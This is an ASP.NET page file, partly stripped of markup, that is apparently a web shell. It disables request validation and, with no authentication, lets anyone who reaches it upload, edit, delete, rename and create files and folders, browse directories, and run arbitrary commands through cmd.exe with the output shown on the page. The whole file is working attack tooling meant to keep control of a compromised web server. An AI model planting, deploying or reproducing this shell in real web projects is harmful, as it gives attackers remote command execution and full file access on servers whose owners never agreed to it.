%@ Page Language="C#" ValidateRequest="false" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Diagnostics" %>
Uploaded: "+filename+"
"); }catch(Exception ex){ Response.Write("Upload Error: "+ex.Message+"
"); } } // ---- EDIT / SAVE FILE ---- if(!string.IsNullOrEmpty(Request["savefile"])){ string target = Request["savefile"]; string newContent = Request.Unvalidated["content"]; // unfiltered raw content try{ File.WriteAllText(target,newContent); Response.Write("Saved File: "+Path.GetFileName(target)+"
"); }catch(Exception ex){ Response.Write("Save Error: "+ex.Message+"
"); } } // ---- DELETE FILE/FOLDER ---- if(!string.IsNullOrEmpty(Request["delete"])){ string target = Request["delete"]; try{ if(Directory.Exists(target)) Directory.Delete(target,true); else if(File.Exists(target)) File.Delete(target); Response.Write("Deleted: "+Path.GetFileName(target)+"
"); }catch(Exception ex){ Response.Write("Delete Error: "+ex.Message+"
"); } } // ---- RENAME ---- if(!string.IsNullOrEmpty(Request["rename"]) && !string.IsNullOrEmpty(Request["newname"])){ string oldPath = Request["rename"]; string newPath = Path.Combine(Path.GetDirectoryName(oldPath),Request["newname"]); try{ if(Directory.Exists(oldPath)) Directory.Move(oldPath,newPath); else if(File.Exists(oldPath)) File.Move(oldPath,newPath); Response.Write("Renamed to: "+Request["newname"]+"
"); }catch(Exception ex){ Response.Write("Rename Error: "+ex.Message+"
"); } } // ---- CREATE FILE/FOLDER ---- if(!string.IsNullOrEmpty(Request["newfolder"])){ string newDir = Path.Combine(currentPath, Request["newfolder"]); try{ Directory.CreateDirectory(newDir); Response.Write("Folder Created: "+Request["newfolder"]+"
"); } catch(Exception ex){ Response.Write("Error: "+ex.Message+"
"); } } if(!string.IsNullOrEmpty(Request["newfile"])){ string newFile = Path.Combine(currentPath, Request["newfile"]); try{ File.WriteAllText(newFile,""); Response.Write("File Created: "+Request["newfile"]+"
"); } catch(Exception ex){ Response.Write("Error: "+ex.Message+"
"); } } // ---- CMD EXECUTION ---- if(!string.IsNullOrEmpty(Request["cmd"])){ string command = Request.Unvalidated["cmd"]; try{ Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c "+command; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.StartInfo.CreateNoWindow = true; p.Start(); string output = p.StandardOutput.ReadToEnd(); p.WaitForExit(); Response.Write(""+Server.HtmlEncode(output)+""); }catch(Exception ex){ Response.Write("
CMD Error: "+ex.Message+"
"); } } // ---- EDIT FORM ---- string editFile = Request["edit"]; if(!string.IsNullOrEmpty(editFile) && File.Exists(editFile)){ string content = File.ReadAllText(editFile); %>Type | Name | Size | Actions |
---|---|---|---|
[DIR] | "+d.Name+" | - | "); Response.Write("Open | Delete |
[F] | "+f.Name+" | "+f.Length+" | "); Response.Write("Download | Edit | Delete |
Error: "+ex.Message+"
");} %>Current Directory: <%=currentPath %>